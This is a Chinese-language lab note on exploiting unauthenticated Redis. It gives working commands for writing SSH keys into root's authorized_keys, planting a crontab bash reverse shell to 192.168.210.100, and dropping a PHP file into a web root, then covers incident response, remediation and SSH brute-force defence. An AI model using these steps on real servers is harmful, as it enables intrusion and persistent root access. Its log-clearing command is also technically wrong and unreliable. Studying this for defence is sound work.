1、简介

Reids是一个使用C编写的开源、支持网络、基于内存、可持久性的键值对存储数据库,是很流行的键值对存储数据库image.png

2、redis安装

wget https://download.redis.io/releases/redis-6.2.6.tar.gz 下载redis服务
cd redis-6.2.6
yum install gcc -y
make
iptbales -nvL (后续补充iptables知识)

3、redis 关闭保护模式运行

./redis-server —protected-mode no

4、redis常用命令

  • 获取备份路径
    • config get dir
  • 获取备份文件名
    • config get dbfilename
  • 设置备份路径
    • config set dir /root/ (可以查看是否是root用户)
  • 设置备份文件名
    • config set dbfilename 文件名
  • 设置键值对
    • set keyname value
  • 获取键值对
    • get keyname
  • 持久化(以特定格式保存到硬盘中去)
    • save

      5、Root运行redis(直接写入公钥)

      ssh-keygen 用来生成ssh公钥认证所需的公钥和私钥文件image.png
      1. 10.10.200.8 系统跑的redis服务
      2. 用另一台主机10.10.11.50 ssh-keygen 获取.ssh文件
      3. 10.10.11.50的公钥id_rsa.pub 通过 nc 写入
      4. nc 10.10.200.8 6379
      5. config set dir /root/.ssh/
      6. config set dbfilename authorized_keys
      7. set x "\n\n\nssh key \n\n\n"
      8. save
      9. ssh -i id_rsa 10.10.200.8
      image.png

      6、root运行redis(写入crontab(cron存放路径:/var/spool/cron)

      crontab 查看日志: tail -f /var/log/cron
      1. config set dir /var/spool/cron/
      2. config set dbfilename root
      3. set 1 "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.210.100/100 0>&1\n\n\n"
      4. save

      7、低权限运行redis

      yum install httpd php 安装apache服务
      在网站根目录/var/www/html 创建一个test文件夹,给他apache权限(chown apache. test/)
      给test用户权限,在test用户起redis服务。
      1. config set dir /var/www/html/test
      2. config set dbfilename 1.php
      3. set 1 "<?php phpinfo()?>"
      4. save
      访问 ip/test/1.php

      8、低权限运行redis(写入key)

      authorized_keys要求权限是600,redis save之后是644,root用户可以正常执行,普通用户是无法执行的。
      image.png

8、对redis进行应急响应

  1. ps aux |grep redis 查看redis的运行用户
  2. cd /root/.ssh 查看authorized_keys
  3. cd /home/test/.ssh 查看普通用户的authorized_keys
  4. cd /var/spool/cron 查看crontab的定时任务
  5. tail -f /var/log/cron 查看crontab的日志信息
  6. grep ssh /var/log/secure 查看如果获得普通用户权限,进行ssh连接记录

9、拓展攻击(很多内网环境的redis是没有密码的,root下跑的)

  • 信息泄露
  • 配合ssrf
  • 执行lua代码
  • 本地提权

    10、修复方案

  • 禁止root运行redis

  • 设置账号密码
  • 服务部署使用单独账号·

补:
/var/log/secure 这个文件是记录服务器登陆行为的。那个文件如果很大,说明有人在破解你的root密码(一般是SSH暴力破解),可以通过这个日志查到对方的IP,每次登陆,无论密码对错都会被详细记录下来,所以文件会很大,解决办法是在/etc/hosts.deny 文件中加入IP,服务器就会拒绝这个IP的SSH登陆,语法:
sshd:IP
如果对方频繁换IP,可以用一些工具,如DenyHosts,可以自动将频繁输错密码的IP加入hosts.deny文件。具体安装和设置方法网上有。
另外/var/log/secure 文件是可以清空的,用这个命令:
echo /dev/null > /var/log/secure
如果这个文件很大,可以先清空,等有了新数据再查看。